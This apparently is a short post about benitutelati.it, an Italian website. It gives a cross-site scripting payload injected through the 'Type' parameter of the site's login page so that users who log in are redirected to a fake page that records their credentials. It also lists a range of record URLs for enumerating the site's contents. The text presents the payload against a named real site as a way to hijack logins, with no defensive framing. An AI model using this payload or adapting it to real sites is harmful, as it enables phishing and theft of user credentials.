xss and login hijacking - benitutelati.it

 

 

Example: If the user tries to login we can redirect him to a different (fake) website that saves the login informations.

 www.benitutelati.it/page/login.asp?Type=";strUrl="http://www.google.com";a="

 

 

 

 

List of all benitutelati

from

http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1

to
http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1339999